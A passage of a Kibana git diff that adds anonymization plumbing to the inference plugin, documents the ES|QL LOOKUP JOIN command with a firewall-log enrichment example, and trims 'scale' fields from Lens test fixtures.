BoundCreateClientOptions): BoundInferenceC export function createClient( options: CreateClientOptions | BoundCreateClientOptions ): BoundInferenceClient | InferenceClient { - const { actions, request, logger } = options; - const client = createInferenceClient({ request, actions, logger: logger.get('client') }); + const { actions, request, logger, anonymizationRulesPromise, esClient, regexWorker } = options; + const client = createInferenceClient({ + request, + actions, + logger: logger.get('client'), + anonymizationRulesPromise, + regexWorker, + esClient, + }); if ('bindTo' in options) { return bindClient(client, options.bindTo); } else { diff --git a/x-pack/platform/plugins/shared/inference/server/inference_client/inference_client.ts b/x-pack/platform/plugins/shared/inference/server/inference_client/inference_client.ts index 7c5ace4a442a0..1f7e4068e21e1 100644 --- a/x-pack/platform/plugins/shared/inference/server/inference_client/inference_client.ts +++ b/x-pack/platform/plugins/shared/inference/server/inference_client/inference_client.ts @@ -9,24 +9,47 @@ import type { Logger } from '@kbn/logging'; import type { KibanaRequest } from '@kbn/core-http-server'; import type { PluginStartContract as ActionsPluginStart } from '@kbn/actions-plugin/server'; import { InferenceClient } from '@kbn/inference-common'; +import { AnonymizationRule } from '@kbn/inference-common'; +import { ElasticsearchClient } from '@kbn/core/server'; import { createChatCompleteApi } from '../chat_complete'; import { createOutputApi } from '../../common/output/create_output_api'; import { getConnectorById } from '../util/get_connector_by_id'; import { createPromptApi } from '../prompt'; +import { RegexWorkerService } from '../chat_complete/anonymization/regex_worker_service'; export function createInferenceClient({ request, actions, logger, + anonymizationRulesPromise, + regexWorker, + esClient, }: { request: KibanaRequest; logger: Logger; actions: ActionsPluginStart; + anonymizationRulesPromise: Promise; + regexWorker: RegexWorkerService; + esClient: ElasticsearchClient; }): InferenceClient { - const chatComplete = createChatCompleteApi({ request, actions, logger }); + const chatComplete = createChatCompleteApi({ + request, + actions, + logger, + anonymizationRulesPromise, + regexWorker, + esClient, + }); return { chatComplete, - prompt: createPromptApi({ request, actions, logger }), + prompt: createPromptApi({ + request, + actions, + logger, + anonymizationRulesPromise, + regexWorker, + esClient, + }), output: createOutputApi(chatComplete), getConnectorById: async (connectorId: string) => { const actionsClient = await actions.getActionsClientWithRequest(request); diff --git a/x-pack/platform/plugins/shared/inference/server/plugin.ts b/x-pack/platform/plugins/shared/inference/server/plugin.ts index b496933e5742f..8fe415cebccfd 100644 --- a/x-pack/platform/plugins/shared/inference/server/plugin.ts +++ b/x-pack/platform/plugins/shared/inference/server/plugin.ts @@ -7,9 +7,15 @@ import type { CoreSetup, CoreStart, Plugin, PluginInitializerContext } from '@kbn/core/server'; import type { Logger } from '@kbn/logging'; -import { BoundInferenceClient, InferenceClient } from '@kbn/inference-common'; -import { initLangfuseProcessor, initPhoenixProcessor } from '@kbn/inference-tracing'; +import { + BoundInferenceClient, + InferenceClient, + aiAssistantAnonymizationSettings, + AnonymizationSettings, +} from '@kbn/inference-common'; +import type { KibanaRequest } from '@kbn/core-http-server'; import { createClient as createInferenceClient, createChatModel } from './inference_client'; +import { RegexWorkerService } from './chat_complete/anonymization/regex_worker_service'; import { registerRoutes } from './routes'; import type { InferenceConfig } from './config'; import { @@ -20,6 +26,7 @@ import { InferenceSetupDependencies, InferenceStartDependencies, } from './types'; +import { uiSettings } from '../common/ui_settings'; export class InferencePlugin implements @@ -31,33 +38,19 @@ export class InferencePlugin > { private logger: Logger; - private config: InferenceConfig; - - private shutdownProcessor?: () => Promise; + private regexWorker?: RegexWorkerService; constructor(context: PluginInitializerContext) { this.logger = context.logger.get(); - this.config = context.config.get(); - - const exporter = this.config.tracing?.exporter; - - if (exporter && 'langfuse' in exporter) { - this.shutdownProcessor = initLangfuseProcessor({ - logger: this.logger, - config: exporter.langfuse, - }); - } else if (exporter && 'phoenix' in exporter) { - this.shutdownProcessor = initPhoenixProcessor({ - logger: this.logger, - config: exporter.phoenix, - }); - } + this.config = context.config.get(); } setup( coreSetup: CoreSetup, pluginsSetup: InferenceSetupDependencies ): InferenceServerSetup { + const { [aiAssistantAnonymizationSettings]: anonymizationRules, ...restSettings } = uiSettings; + coreSetup.uiSettings.register(restSettings); const router = coreSetup.http.createRouter(); registerRoutes({ @@ -70,12 +63,33 @@ export class InferencePlugin } start(core: CoreStart, pluginsStart: InferenceStartDependencies): InferenceServerStart { + this.regexWorker = new RegexWorkerService( + this.config.workers.anonymization, + this.logger.get('regex_worker') + ); + + const createAnonymizationRulesPromise = async (request: KibanaRequest) => { + const soClient = core.savedObjects.getScopedClient(request); + const uiSettingsClient = core.uiSettings.asScopedToClient(soClient); + const settingsStr = await uiSettingsClient.get( + aiAssistantAnonymizationSettings + ); + + if (!settingsStr) { + return []; + } + + return (JSON.parse(settingsStr) as AnonymizationSettings).rules; + }; return { getClient: (options: T) => { return createInferenceClient({ ...options, + anonymizationRulesPromise: createAnonymizationRulesPromise(options.request), + regexWorker: this.regexWorker!, actions: pluginsStart.actions, logger: this.logger.get('client'), + esClient: core.elasticsearch.client.asScoped(options.request).asCurrentUser, }) as T extends InferenceBoundClientCreateOptions ? BoundInferenceClient : InferenceClient; }, @@ -85,6 +99,9 @@ export class InferencePlugin connectorId: options.connectorId, chatModelOptions: options.chatModelOptions, actions: pluginsStart.actions, + anonymizationRulesPromise: createAnonymizationRulesPromise(options.request), + regexWorker: this.regexWorker!, + esClient: core.elasticsearch.client.asScoped(options.request).asCurrentUser, logger: this.logger, }); }, @@ -92,6 +109,6 @@ export class InferencePlugin } async stop() { - await this.shutdownProcessor?.(); + await this.regexWorker?.stop(); } } diff --git a/x-pack/platform/plugins/shared/inference/server/prompt/api.test.ts b/x-pack/platform/plugins/shared/inference/server/prompt/api.test.ts index 06a08f1039159..628c725bd81b9 100644 --- a/x-pack/platform/plugins/shared/inference/server/prompt/api.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/prompt/api.test.ts @@ -9,6 +9,7 @@ import { of, isObservable, firstValueFrom, toArray } from 'rxjs'; import { loggerMock, type MockedLogger } from '@kbn/logging-mocks'; import { httpServerMock } from '@kbn/core/server/mocks'; import { actionsMock } from '@kbn/actions-plugin/server/mocks'; +import { createRegexWorkerServiceMock } from '../test_utils'; import { MessageRole, type PromptAPI, @@ -42,6 +43,11 @@ jest.mock('../../common/prompt/prompt_to_message_options', () => { promptToMessageOptions: jest.fn(actual.promptToMessageOptions), }; }); +const mockEsClient = { + ml: { + inferTrainedModel: jest.fn(), + }, +} as any; const mockCreateChatCompleteCallbackApi = jest.mocked(createChatCompleteCallbackApi); const mockPromptToMessageOptions = jest.mocked(promptToMessageOptions); @@ -62,6 +68,7 @@ describe('createPromptApi', () => { let actions: ReturnType; let promptApi: PromptAPI; let mockCallbackApi: jest.MockedFn; + let regexWorker: ReturnType; const mockInput = { query: 'world' }; @@ -69,11 +76,19 @@ describe('createPromptApi', () => { request = httpServerMock.createKibanaRequest(); logger = loggerMock.create(); actions = actionsMock.createStart(); + regexWorker = createRegexWorkerServiceMock(); mockCallbackApi = jest.fn(); mockCreateChatCompleteCallbackApi.mockReturnValue(mockCallbackApi); - promptApi = createPromptApi({ request, actions, logger }); + promptApi = createPromptApi({ + request, + actions, + logger, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, + esClient: mockEsClient, + }); }); afterEach(() => { @@ -81,7 +96,14 @@ describe('createPromptApi', () => { }); it('initializes createChatCompleteCallbackApi with correct options', () => { - expect(mockCreateChatCompleteCallbackApi).toHaveBeenCalledWith({ request, actions, logger }); + expect(mockCreateChatCompleteCallbackApi).toHaveBeenCalledWith({ + request, + actions, + logger, + anonymizationRulesPromise: Promise.resolve([]), + regexWorker, + esClient: mockEsClient, + }); }); it('calls the callback API with correct initial options', async () => { diff --git a/x-pack/platform/plugins/shared/inference/server/prompt/api.ts b/x-pack/platform/plugins/shared/inference/server/prompt/api.ts index 18039781eb0f0..23347ffe7dc65 100644 --- a/x-pack/platform/plugins/shared/inference/server/prompt/api.ts +++ b/x-pack/platform/plugins/shared/inference/server/prompt/api.ts @@ -17,8 +17,22 @@ import { createChatCompleteCallbackApi } from '../chat_complete/callback_api'; import { promptToMessageOptions } from '../../common/prompt/prompt_to_message_options'; export function createPromptApi(options: CreateChatCompleteApiOptions): PromptAPI; -export function createPromptApi({ request, actions, logger }: CreateChatCompleteApiOptions) { - const callbackApi = createChatCompleteCallbackApi({ request, actions, logger }); +export function createPromptApi({ + request, + actions, + logger, + anonymizationRulesPromise, + regexWorker, + esClient, +}: CreateChatCompleteApiOptions) { + const callbackApi = createChatCompleteCallbackApi({ + request, + actions, + logger, + anonymizationRulesPromise, + regexWorker, + esClient, + }); return (options: PromptOptions) => { const { diff --git a/x-pack/platform/plugins/shared/inference/server/routes/chat_complete.ts b/x-pack/platform/plugins/shared/inference/server/routes/chat_complete.ts index 8abfb1ef35487..9283905a04a49 100644 --- a/x-pack/platform/plugins/shared/inference/server/routes/chat_complete.ts +++ b/x-pack/platform/plugins/shared/inference/server/routes/chat_complete.ts @@ -15,7 +15,6 @@ import type { import { InferenceTaskEventType, isInferenceError } from '@kbn/inference-common'; import { observableIntoEventSourceStream } from '@kbn/sse-utils-server'; import type { ChatCompleteRequestBody } from '../../common/http_apis'; -import { createClient as createInferenceClient } from '../inference_client'; import { InferenceServerStart, InferenceStartDependencies } from '../types'; import { chatCompleteBodySchema } from './schemas'; import { getRequestAbortedSignal } from './get_request_aborted_signal'; @@ -36,14 +35,13 @@ export function registerChatCompleteRoute({ request: KibanaRequest; stream: T; }) { - const actions = await coreSetup - .getStartServices() - .then(([coreStart, pluginsStart]) => pluginsStart.actions); + const [, pluginsStart, inferenceStart] = await coreSetup.getStartServices(); + const actions = pluginsStart.actions; const abortController = new AbortController(); request.events.aborted$.subscribe(() => abortController.abort()); - const client = createInferenceClient({ request, actions, logger }); + const client = inferenceStart.getClient({ request, actions, logger }); const { connectorId, diff --git a/x-pack/platform/plugins/shared/inference/server/routes/prompt.ts b/x-pack/platform/plugins/shared/inference/server/routes/prompt.ts index 25f329997128a..a96e5996c3eb6 100644 --- a/x-pack/platform/plugins/shared/inference/server/routes/prompt.ts +++ b/x-pack/platform/plugins/shared/inference/server/routes/prompt.ts @@ -16,7 +16,6 @@ import { InferenceTaskEventType, isInferenceError } from '@kbn/inference-common' import { observableIntoEventSourceStream } from '@kbn/sse-utils-server'; import { z } from '@kbn/zod'; import { PromptRequestBody } from '../../common/http_apis'; -import { createClient as createInferenceClient } from '../inference_client'; import { InferenceServerStart, InferenceStartDependencies } from '../types'; import { promptBodySchema } from './schemas'; import { getRequestAbortedSignal } from './get_request_aborted_signal'; @@ -37,14 +36,12 @@ export function registerPromptRoute({ request: KibanaRequest; stream: T; }) { - const actions = await coreSetup - .getStartServices() - .then(([coreStart, pluginsStart]) => pluginsStart.actions); + const [, pluginsStart, inferenceStart] = await coreSetup.getStartServices(); + const actions = pluginsStart.actions; const abortController = new AbortController(); request.events.aborted$.subscribe(() => abortController.abort()); - - const client = createInferenceClient({ request, actions, logger }); + const client = inferenceStart.getClient({ request, actions, logger }); const { connectorId, diff --git a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/aliases.ts b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/aliases.ts index 6df382a57fd61..78fe8b7f9549f 100644 --- a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/aliases.ts +++ b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/aliases.ts @@ -12,6 +12,7 @@ const aliases: Record = { STATS: ['STATS_BY', 'BY', 'STATS...BY', 'STATS ... BY'], OPERATORS: ['LIKE', 'RLIKE', 'IN'], + JOIN: ['LOOKUP JOIN'], }; const getAliasMap = () => { diff --git a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/esql_doc_base.ts b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/esql_doc_base.ts index 403fb2658d407..ce7cabcdc120e 100644 --- a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/esql_doc_base.ts +++ b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/doc_base/esql_doc_base.ts @@ -34,7 +34,7 @@ export class EsqlDocumentBase { } getDocumentation( - keywords: string[], + rawKeywords: string[], { generateMissingKeywordDoc = true, addSuggestions = true, @@ -42,8 +42,9 @@ export class EsqlDocumentBase { resolveAliases = true, }: GetDocsOptions = {} ) { - keywords = keywords.map((raw) => { - let keyword = format(raw); + const keywords = rawKeywords.map((raw) => { + // LOOKUP JOIN has space so we want to retain as is + let keyword = raw.toLowerCase().includes('join') ? raw : format(raw); if (resolveAliases) { keyword = tryResolveAlias(keyword); } diff --git a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/esql_docs/esql-lookup-join.txt b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/esql_docs/esql-lookup-join.txt new file mode 100644 index 0000000000000..b8949e0f2e89c --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/esql_docs/esql-lookup-join.txt @@ -0,0 +1,127 @@ +# LOOKUP JOIN + +The `LOOKUP JOIN` command combines data from a query results table with matching records from a specified lookup index. It adds fields from the lookup index as new columns to the results table based on matching values in the join field. This is particularly useful for enriching or correlating data across multiple indices, such as logs, IPs, user IDs, or hosts. + +## Syntax + +`LOOKUP JOIN ON ` + +### Parameters + +#### lookup_index + +The name of the lookup index. This must be a specific index name—wildcards, aliases, and remote cluster references are not supported. Indices used for lookups must be configured with the `lookup` mode. + +#### field_name + +The field to join on. This field must exist in both the current query results and the lookup index. If the field contains multi-valued entries, those entries will not match anything, and the added fields will contain `null` for those rows. + +If no rows match in the lookup index, the incoming row is retained, and `null` values are added. If multiple rows in the lookup index match, one row is added per match. + +## Examples + +### Example 1: Enriching Firewall Logs with Threat Data + +This example demonstrates how to enrich firewall logs with threat data from a lookup index. + +#### Sample Data Setup + +##### Create the `threat_list` index + +```esql +PUT threat_list +{ + "settings": { + "index.mode": "lookup" + }, + "mappings": { + "properties": { + "source.ip": { "type": "ip" }, + "threat_level": { "type": "keyword" }, + "threat_type": { "type": "keyword" }, + "last_updated": { "type": "date" } + } + } +} +``` + +##### Create the `firewall_logs` index + +```esql +PUT firewall_logs +{ + "mappings": { + "properties": { + "timestamp": { "type": "date" }, + "source.ip": { "type": "ip" }, + "destination.ip": { "type": "ip" }, + "action": { "type": "keyword" }, + "bytes_transferred": { "type": "long" } + } + } +} +``` + +##### Add sample data to `threat_list` + +```esql +POST threat_list/_bulk +{"index":{}} +{"source.ip":"203.0.113.5","threat_level":"high","threat_type":"C2_SERVER","last_updated":"2025-04-22"} +{"index":{}} +{"source.ip":"198.51.100.2","threat_level":"medium","threat_type":"SCANNER","last_updated":"2025-04-23"} +``` + +##### Add sample data to `firewall_logs` + +```esql +POST firewall_logs/_bulk +{"index":{}} +{"timestamp":"2025-04-23T10:00:01Z","source.ip":"192.0.2.1","destination.ip":"10.0.0.100","action":"allow","bytes_transferred":1024} +{"index":{}} +{"timestamp":"2025-04-23T10:00:05Z","source.ip":"203.0.113.5","destination.ip":"10.0.0.55","action":"allow","bytes_transferred":2048} +{"index":{}} +{"timestamp":"2025-04-23T10:00:08Z","source.ip":"198.51.100.2","destination.ip":"10.0.0.200","action":"block","bytes_transferred":0} +{"index":{}} +{"timestamp":"2025-04-23T10:00:15Z","source.ip":"203.0.113.5","destination.ip":"10.0.0.44","action":"allow","bytes_transferred":4096} +{"index":{}} +{"timestamp":"2025-04-23T10:00:30Z","source.ip":"192.0.2.1","destination.ip":"10.0.0.100","action":"allow","bytes_transferred":512} +``` + +#### Query the Data + +```esql +FROM firewall_logs +| LOOKUP JOIN threat_list ON source.ip +| WHERE threat_level IS NOT NULL +| SORT timestamp +| KEEP source.ip, action, threat_level, threat_type +| LIMIT 10 +``` + +This query: +- Matches the `source.ip` field in `firewall_logs` with the `source.ip` field in `threat_list`. +- Filters rows to include only those with non-null `threat_level`. +- Sorts the results by `timestamp`. +- Keeps only the `source.ip`, `action`, `threat_level`, and `threat_type` fields. +- Limits the output to 10 rows. + +#### Response + +| source.ip | action | threat_type | threat_level | +|---------------|--------|-------------|--------------| +| 203.0.113.5 | allow | C2_SERVER | high | +| 198.51.100.2 | block | SCANNER | medium | +| 203.0.113.5 | allow | C2_SERVER | high | + +In this example, the `source.ip` field from `firewall_logs` is matched with the `source.ip` field in `threat_list`, and the corresponding `threat_level` and `threat_type` fields are added to the output. + +## Limitations + +- Indices in `lookup` mode are always single-sharded. +- Cross-cluster search is not supported; both source and lookup indices must be local. +- Only equality-based matching is supported. +- `LOOKUP JOIN` can only use a single match field and a single index. +- Wildcards, aliases, datemath, and datastreams are not supported. +- The match field in `LOOKUP JOIN ON ` must match an existing field in the query. Renames or evaluations may be required to achieve this. +- The query may circuit break if there are too many matching documents in the lookup index or if the documents are too large. `LOOKUP JOIN` processes data in batches of approximately 10,000 rows, which can require significant heap space for large matching documents. \ No newline at end of file diff --git a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/system_message.txt b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/system_message.txt index 7f3579381e620..5e285bdbbf42c 100644 --- a/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/system_message.txt +++ b/x-pack/platform/plugins/shared/inference/server/tasks/nl_to_esql/system_message.txt @@ -49,9 +49,13 @@ The following processing commands are available: function and can group using grouping functions. - SORT: sorts the row in a table by a column. Expressions are not supported. - WHERE: Filters rows based on a boolean condition. WHERE supports the same functions as EVAL. +- LOOKUP JOIN: Joins data from a query results table with matching records from a specified lookup index. ## Functions and operators +### Join functions + + ### Grouping functions BUCKET: Creates groups of values out of a datetime or numeric input @@ -359,3 +363,15 @@ FROM personal_info | KEEP user_name, birth | SORT birth ``` + + +**Look up and join the `source.ip` field in `firewall_logs` with the `source.ip` field in `threat_list`, filters rows to include only those with non-null `threat_level`, sorts the results by `timestamp`, and keeps only the `source.ip`, `action`, `threat_level`, and `threat_type` fields.** + +```esql +FROM firewall_logs +| LOOKUP JOIN threat_list ON source.ip +| WHERE threat_level IS NOT NULL +| SORT timestamp +| KEEP source.ip, action, threat_level, threat_type +| LIMIT 10 +``` diff --git a/x-pack/platform/plugins/shared/inference/server/test_utils/index.ts b/x-pack/platform/plugins/shared/inference/server/test_utils/index.ts index 2eafe20bfdcaf..0933df58342b6 100644 --- a/x-pack/platform/plugins/shared/inference/server/test_utils/index.ts +++ b/x-pack/platform/plugins/shared/inference/server/test_utils/index.ts @@ -9,3 +9,4 @@ export { chunkEvent, tokensEvent, messageEvent } from './chat_complete_events'; export { createInferenceConnectorMock } from './inference_connector'; export { createInferenceConnectorAdapterMock } from './inference_connector_adapter'; export { createInferenceExecutorMock } from './inference_executor'; +export { createRegexWorkerServiceMock } from './regex_worker_service.mock'; diff --git a/x-pack/platform/plugins/shared/inference/server/test_utils/regex_worker_service.mock.ts b/x-pack/platform/plugins/shared/inference/server/test_utils/regex_worker_service.mock.ts new file mode 100644 index 0000000000000..fd0ac969c00d4 --- /dev/null +++ b/x-pack/platform/plugins/shared/inference/server/test_utils/regex_worker_service.mock.ts @@ -0,0 +1,21 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { AnonymizationRegexWorkerTaskPayload } from '@kbn/inference-common'; +import type { AnonymizationState } from '../chat_complete/anonymization/types'; +import { RegexWorkerService } from '../chat_complete/anonymization/regex_worker_service'; + +export const createRegexWorkerServiceMock = () => { + const mock = { + run: jest.fn( + ({ records }: AnonymizationRegexWorkerTaskPayload): Promise => + Promise.resolve({ records, anonymizations: [] }) + ), + stop: jest.fn().mockResolvedValue(undefined), + }; + return mock as unknown as RegexWorkerService; +}; diff --git a/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.test.ts b/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.test.ts index f378fc251f6a9..d3eb354c8e518 100644 --- a/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.test.ts +++ b/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.test.ts @@ -51,9 +51,11 @@ describe('getConnectorById', () => { throw new Error('Something wrong'); }); - await expect(() => - getConnectorById({ actionsClient, connectorId }) - ).rejects.toThrowErrorMatchingInlineSnapshot(`"No connector found for id 'my-connector-id'"`); + await expect(() => getConnectorById({ actionsClient, connectorId })).rejects + .toThrowErrorMatchingInlineSnapshot(` + "No connector found for id 'my-connector-id' + Something wrong" + `); }); it('throws the connector type is not compatible', async () => { diff --git a/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.ts b/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.ts index 1b557c3236bb1..d412834a90dea 100644 --- a/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.ts +++ b/x-pack/platform/plugins/shared/inference/server/util/get_connector_by_id.ts @@ -29,7 +29,10 @@ export const getConnectorById = async ({ throwIfSystemAction: true, }); } catch (error) { - throw createInferenceRequestError(`No connector found for id '${connectorId}'`, 400); + throw createInferenceRequestError( + `No connector found for id '${connectorId}'\n${error.message}`, + 400 + ); } return connectorToInference(connector); diff --git a/x-pack/platform/plugins/shared/inference/tsconfig.json b/x-pack/platform/plugins/shared/inference/tsconfig.json index 51da2f8e593b9..f5148cac62e8d 100644 --- a/x-pack/platform/plugins/shared/inference/tsconfig.json +++ b/x-pack/platform/plugins/shared/inference/tsconfig.json @@ -18,6 +18,9 @@ ".storybook/**/*.js" ], "kbn_references": [ + { + "path": "../../../../../src/setup_node_env/tsconfig.json" + }, "@kbn/i18n", "@kbn/esql-ast", "@kbn/esql-validation-autocomplete", @@ -42,6 +45,7 @@ "@kbn/ml-is-defined", "@kbn/sse-utils-client", "@kbn/zod", - "@kbn/inference-tracing" + "@kbn/inference-tracing", + "@kbn/core-ui-settings-common" ] } diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/mocks.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/mocks.ts index 59e31be5672fe..d6a6c85b9ac0c 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/mocks.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/mocks.ts @@ -108,7 +108,6 @@ export const mockedColumns: Record = { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: '0.75', }, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/on_drop_handler.test.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/on_drop_handler.test.ts index 3c844ac8be12d..a8c6a6b58ce7d 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/on_drop_handler.test.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/droppable/on_drop_handler.test.ts @@ -1470,7 +1470,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: true, }, - scale: 'ratio', }, }, incompleteColumns: {}, @@ -1705,7 +1704,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: true, }, - scale: 'ratio', sourceField: 'timestamp', }, }, @@ -1749,7 +1747,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: true, }, - scale: 'ratio', sourceField: 'timestamp', }, }, @@ -1793,7 +1790,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: true, }, - scale: 'ratio', sourceField: 'timestamp', }, }, @@ -1832,7 +1828,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: true, }, - scale: 'ratio', sourceField: 'timestamp', }, }, @@ -1880,7 +1875,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { ], type: 'histogram', }, - scale: 'interval', sourceField: 'bytes', }, }, @@ -1897,7 +1891,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: true, }, - scale: 'ratio', sourceField: 'timestamp', }, }, @@ -2051,7 +2044,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -2060,7 +2052,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: 'count()' }, references: ['firstColumnX0'], } as FormulaIndexPatternColumn, @@ -2076,7 +2067,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', customLabel: true, }, @@ -2085,7 +2075,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: 'count()' }, references: ['secondX0'], } as FormulaIndexPatternColumn, @@ -2140,7 +2129,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { isFormulaBroken: false, }, references: ['newColumnX0'], - scale: 'ratio', }, newColumnX0: { customLabel: true, @@ -2152,7 +2140,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: false, }, - scale: 'ratio', sourceField: '___records___', timeScale: undefined, timeShift: undefined, @@ -2198,7 +2185,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { isFormulaBroken: false, }, references: ['secondX0'], - scale: 'ratio', }, secondX0: { customLabel: true, @@ -2210,7 +2196,6 @@ describe('FormBasedDimensionEditorPanel: onDrop', () => { params: { emptyAsNull: false, }, - scale: 'ratio', sourceField: '___records___', timeScale: undefined, timeShift: undefined, diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/field_input.test.tsx b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/field_input.test.tsx index 619d02f0bf28f..c36ee9a0d7842 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/field_input.test.tsx +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/dimension_panel/field_input.test.tsx @@ -55,7 +55,6 @@ function getReferenceBasedOperationColumn( operationType: 'differences', isBucketed: false, references: ['colX'], - scale: 'ratio', }; } @@ -65,7 +64,6 @@ function getManagedBasedOperationColumn(): ReferenceBasedIndexPatternColumn { dataType: 'number', operationType: 'static_value', isBucketed: false, - scale: 'ratio', params: { value: 100 }, references: [], } as ReferenceBasedIndexPatternColumn; diff --git a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.test.ts b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.test.ts index dcfa3def25bac..b7fa7eb1b8664 100644 --- a/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.test.ts +++ b/x-pack/platform/plugins/shared/lens/public/datasources/form_based/form_based.test.ts @@ -736,7 +736,6 @@ describe('IndexPattern Data Source', () => { operationType: 'date_histogram', sourceField: 'order_date', isBucketed: true, - scale: 'interval', params: { interval: 'auto', includeEmptyRows: true, @@ -749,7 +748,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'count', isBucketed: false, - scale: 'ratio', sourceField: '___records___', params: { emptyAsNull: false, @@ -763,7 +761,6 @@ describe('IndexPattern Data Source', () => { operationType: 'sum', sourceField: 'products.price', isBucketed: false, - scale: 'ratio', timeShift: '1h', params: { emptyAsNull: false, @@ -777,7 +774,6 @@ describe('IndexPattern Data Source', () => { operationType: 'average', sourceField: 'products.price', isBucketed: false, - scale: 'ratio', filter: { query: 'NOT category : * ', language: 'kuery', @@ -794,7 +790,6 @@ describe('IndexPattern Data Source', () => { operationType: 'median', sourceField: 'products.price', isBucketed: false, - scale: 'ratio', params: { emptyAsNull: false, }, @@ -806,7 +801,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst: { type: 'function', @@ -828,7 +822,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'differences', isBucketed: false, - scale: 'ratio', references: ['col2X4'], filter: { query: 'category : *', @@ -842,7 +835,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'math', isBucketed: false, - scale: 'ratio', params: { tinymathAst: { type: 'function', @@ -871,7 +863,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'moving_average', isBucketed: false, - scale: 'ratio', references: ['col2X6'], timeShift: '3h', params: { @@ -885,7 +876,6 @@ describe('IndexPattern Data Source', () => { dataType: 'number', operationType: 'formula', isBucketed: false, - scale: 'ratio', params: { formula: "moving_average(count() + sum(products.price, shift='1h') + differences(average(products.price, kql='NOT category : * ') + median(products.price), kql='category : *'), shift='3h')", @@ -1370,7 +1360,6 @@ describe('IndexPattern Data Source', () => { operationType: 'date_histogram', sourceField: 'timestamp', isBucketed: true, - scale: 'interval', params: { interval: 'auto', includeEmptyRows: true, @@ -1383,7 +1372,6 @@ describe('IndexPattern Data Source', () => { operationType: 'percentile', sourceField: 'bytes', isBucketed: false, - scale: 'ratio', params: { percentile: 95, }, @@ -1394,7 +1382,6 @@ describe('IndexPattern Data Source', () => { operationType: 'percentile', sourceField: 'bytes', isBucketed: false, - scale: 'ratio', params: { percentile: 95, }, @@ -1435,7 +1422,6 @@ describe('IndexPattern Data Source', () => { operationType: 'date_histogram', sourceField: 'timestamp', isBucketed: true, - scale: 'interval', params: { interval: 'auto', includeEmptyRows: true, @@ -1448,7 +1434,6 @@ describe('IndexPattern Data Source', () => { operationType: 'percentile', sourceField: 'bytes', isBucketed: false, - scale: 'ratio', params: 